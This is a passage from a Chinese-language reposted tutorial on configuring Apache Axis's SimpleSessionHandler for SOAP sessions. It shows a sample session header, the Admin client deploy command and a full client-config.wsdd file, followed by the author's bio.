<P xmlns:fo="http://www.w3.org/1999/XSL/Format">现在服务器就可以运行了，在使用该handler时服务器无需处理任何事情；而headers能够自动被添加进去，就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;soapenv:Header&gt;
   &lt;ns1:sessionID soapenv:actor="" 
                        soapenv:mustUnderstand="0" 
                           xsi:type="xsd:long" 
                        xmlns:ns1=
                           "http://xml.apache.org/axis/
                           session"&gt;
               -1919645576528915916
   &lt;/ns1:sessionID&gt;
&lt;/soapenv:Header&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要使用这个header，Web service客户端必须能够读取它并了解其语法；而Axis客户端可以解决这个问题。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要创建一个使用这个简单session的Axis客户端，你需要配置Axis客户端框架来使用该handler。过程同服务器端很相似，但不是部署到服务器，而是在本地创建config文件。你可以通过运行org.apache.axis.utils.Admin来实现这一点。运行以下代码： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>org.apache.axis.utils.Admin client deploy.wsdd</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这样就创建了一个client-config.wsdd文件，它同样也包含handler代码。 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;deployment xmlns=
   "http://xml.apache.org/axis/wsdd/" 
xmlns:java=   "http://xml.apache.org/axis/
   wsdd/providers/java"&gt;
      &lt;globalConfiguration&gt;
            &lt;parameter name="adminPassword" 
               value="admin"/&gt;
            &lt;parameter name="attachments.implementation" 
               value=
                  "org.apache.axis.attachments.
                  AttachmentsImpl"/&gt;
            &lt;parameter name=
               "sendMultiRefs" value="true"/&gt;
            &lt;parameter name="sendXsiTypes" value=
               "true"/&gt;
            &lt;parameter name=
               "sendXMLDeclaration" value="true"/&gt;
            &lt;parameter name="axis.sendMinimizedElements" 
               value="true"/&gt;
            &lt;requestFlow&gt;
                  &lt;handler type=
                  "java:org.apache.axis.handlers.
                  SimpleSessionHandler"/&gt;
            &lt;/requestFlow&gt;
            &lt;responseFlow&gt;
                  &lt;handler type=
                     "java:org.apache.axis.handlers.
                     SimpleSessionHandler"/&gt;
            &lt;/responseFlow&gt;
      &lt;/globalConfiguration&gt;
      &lt;handler name="session" type=
         "java:org.apache.axis.handlers.
            SimpleSessionHandler"/&gt;
      &lt;service name="Sessions" provider=
         "java:RPC" style="wrapped" use="literal"&gt;
            &lt;requestFlow&gt;
                  &lt;handler type="session"/&gt;
            &lt;/requestFlow&gt;
            &lt;responseFlow&gt;
                  &lt;handler type="session"/&gt;
            &lt;/responseFlow&gt;
            &lt;parameter name="allowedMethods" value="*"/&gt;
            &lt;parameter name="className" value=
               "kevinj.UseSessions"/&gt;
            &lt;namespace&gt;urn:kevinj:Sessions&lt;/namespace&gt;
      &lt;/service&gt;
      &lt;transport name="java" pivot=
         "java:org.apache.axis.transport.
         java.JavaSender"/&gt;
      &lt;transport name="http" pivot=
         "java:org.apache.axis.transport.
            http.HTTPSender"/&gt;
      &lt;transport name="local" pivot=
         "java:org.apache.axis.transport.
         local.LocalSender"/&gt;
&lt;/deployment&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">为了使客户端能够利用这个handler，你必须将client-config.wsdd文件添加到客户端的classpath中。然后由Axis框架代表客户端来读取并响应这些headers。同样，客户端代码无需处理任何事情便可以使用它了。 </P><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><FONT color=#666666 xmlns:fo="http://www.w3.org/1999/XSL/Format"><I>关于作者:</I></FONT><BR xmlns:fo="http://www.w3.org/1999/XSL/Format">Kevin Jones是一名有着15年开发经验的开发人员。最近四年来，他一直从事Java编程方面的研究和教学，最近， 他主要研究HTTP和XML。Kevin住在U.K.，他为Developmentor工作，这是一家以United States 和Europe为基地，主要做Java和Microsoft平台的技术培训的公司。Kevin的联系方式是：<A href="mailto:kevinj@develop.com" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">kevinj@develop.com</A>。<img src ="http://www.blogjava.net/kapok/aggbug/10062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 08:51 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>